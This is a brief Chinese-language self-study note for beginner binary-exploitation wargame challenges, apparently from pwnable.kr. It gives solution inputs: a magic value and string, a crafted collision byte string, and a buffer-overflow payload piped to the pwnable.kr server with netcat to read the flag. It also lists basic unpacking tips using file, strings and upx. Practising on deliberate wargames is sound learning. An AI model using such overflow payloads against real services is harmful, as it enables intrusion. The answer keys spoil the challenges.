pwn自学

pwn

1. 第一题

    4660	LETMEWIN
   

2. 第二题

python -c "print '\x01' * 16 + '\xe8' + '\x05' + '\xD9' + '\x1d'"

1. 第三题 cat <(python -c "print '\xbe\xba\xfe\xca' * 14") - | nc pwnable.kr 9000

    cat flag
   

2. 逆向的题目:

        * file filename获得程序是x86还是x64的
        * 使用strings filename | less 获得程序中字符串，判断是否加壳（使用upx）
        * 通过upx -d filename脱壳